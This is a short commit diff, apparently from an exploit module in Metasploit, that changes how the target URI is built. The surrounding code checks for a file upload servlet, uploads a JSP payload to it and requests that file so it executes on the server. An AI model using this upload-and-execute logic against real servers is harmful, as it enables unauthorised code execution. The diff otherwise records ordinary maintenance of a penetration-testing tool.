Add changes requested to target.uri
parent
c93e88f3a3
commit
07e210c143
|
@ -72,7 +72,7 @@ Windows and Linux.
|
||||||
|
|
||||||
def check
|
def check
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
|
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
)
|
)
|
||||||
if res && res.code == 405
|
if res && res.code == 405
|
||||||
|
@ -88,7 +88,7 @@ Windows and Linux.
|
||||||
print_status("#{peer} - Uploading payload...")
|
print_status("#{peer} - Uploading payload...")
|
||||||
end
|
end
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
|
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'data' => payload.to_s,
|
'data' => payload.to_s,
|
||||||
'ctype' => 'text/html',
|
'ctype' => 'text/html',
|
||||||
|
@ -113,7 +113,7 @@ Windows and Linux.
|
||||||
jsp_name = upload_payload(os_finder_payload, false)
|
jsp_name = upload_payload(os_finder_payload, false)
|
||||||
|
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
|
'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue